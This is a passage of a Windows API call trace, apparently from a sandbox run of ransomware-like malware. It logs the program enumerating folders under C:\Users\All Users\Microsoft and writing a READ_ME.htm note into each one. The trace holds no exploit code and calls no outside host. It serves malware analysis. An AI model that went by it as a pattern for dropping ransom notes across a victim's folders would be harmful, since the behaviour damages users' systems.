lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\READ_ME.htm", lpFilePart=0x0) returned 0x30 [0141.974] SetErrorMode (uMode=0x1) returned 0x0 [0141.975] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\network\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.975] GetFileType (hFile=0x1d0) returned 0x1 [0141.975] SetErrorMode (uMode=0x0) returned 0x1 [0141.975] GetFileType (hFile=0x1d0) returned 0x1 [0141.975] WriteFile (in: hFile=0x1d0, lpBuffer=0x291ba70*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x291ba70*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0141.980] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Office", lpFilePart=0x0) returned 0x23 [0141.980] SetErrorMode (uMode=0x1) returned 0x0 [0141.981] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\*" (normalized: "c:\\users\\all users\\microsoft\\office\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa639c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.981] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa639c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.981] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x25661720, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0141.981] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x1ab22c10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x1ab22c10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1 [0141.981] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x26059340, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0141.981] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x4fa3d860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa3d860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heartbeat", cAlternateFileName="HEARTB~1")) returned 1 [0141.982] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x3100cb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0141.982] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1a5c9700, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0141.982] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa639c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa639c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.982] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e14bd00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0141.982] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e171e60, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0141.982] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e171e60, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 0 [0141.982] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.982] SetErrorMode (uMode=0x0) returned 0x1 [0141.983] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Office", lpFilePart=0x0) returned 0x23 [0141.983] SetErrorMode (uMode=0x1) returned 0x0 [0141.983] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\*" (normalized: "c:\\users\\all users\\microsoft\\office\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa639c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.983] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa639c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.983] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x25661720, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0141.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x1ab22c10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x1ab22c10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1 [0141.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x26059340, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0141.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x4fa3d860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa3d860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heartbeat", cAlternateFileName="HEARTB~1")) returned 1 [0141.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x3100cb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0141.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1a5c9700, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0141.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa639c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa639c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e14bd00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0141.985] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e171e60, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0141.985] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8294a900, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x1e171e60, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8294a900, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 0 [0141.985] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.985] SetErrorMode (uMode=0x0) returned 0x1 [0141.985] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat", lpFilePart=0x0) returned 0x2d [0141.986] SetErrorMode (uMode=0x1) returned 0x0 [0141.986] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat\\*" (normalized: "c:\\users\\all users\\microsoft\\office\\heartbeat\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x4fa3d860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa3d860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.986] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x4fa3d860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa3d860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.986] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa3d860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa3d860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.986] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa3d860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa3d860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.986] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.987] SetErrorMode (uMode=0x0) returned 0x1 [0141.987] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat", lpFilePart=0x0) returned 0x2d [0141.987] SetErrorMode (uMode=0x1) returned 0x0 [0141.987] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat\\*" (normalized: "c:\\users\\all users\\microsoft\\office\\heartbeat\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x4fa3d860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa3d860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.987] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x4fa3d860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa3d860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.988] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa3d860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa3d860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.988] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa3d860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa3d860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa639c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.988] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.988] SetErrorMode (uMode=0x0) returned 0x1 [0141.988] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat\\READ_ME.htm", lpFilePart=0x0) returned 0x39 [0141.988] SetErrorMode (uMode=0x1) returned 0x0 [0141.988] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\office\\heartbeat\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.989] SetErrorMode (uMode=0x0) returned 0x1 [0141.989] GetFileType (hFile=0x1d0) returned 0x1 [0141.989] WriteFile (in: hFile=0x1d0, lpBuffer=0x2924a08*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2924a08*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0141.990] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Office\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0141.990] SetErrorMode (uMode=0x1) returned 0x0 [0141.990] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\office\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.991] SetErrorMode (uMode=0x0) returned 0x1 [0141.991] GetFileType (hFile=0x1d0) returned 0x1 [0141.991] WriteFile (in: hFile=0x1d0, lpBuffer=0x2928f88*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2928f88*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0141.991] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform", lpFilePart=0x0) returned 0x3d [0141.991] SetErrorMode (uMode=0x1) returned 0x0 [0141.992] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.992] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.992] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0141.992] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa89b20, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.992] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, 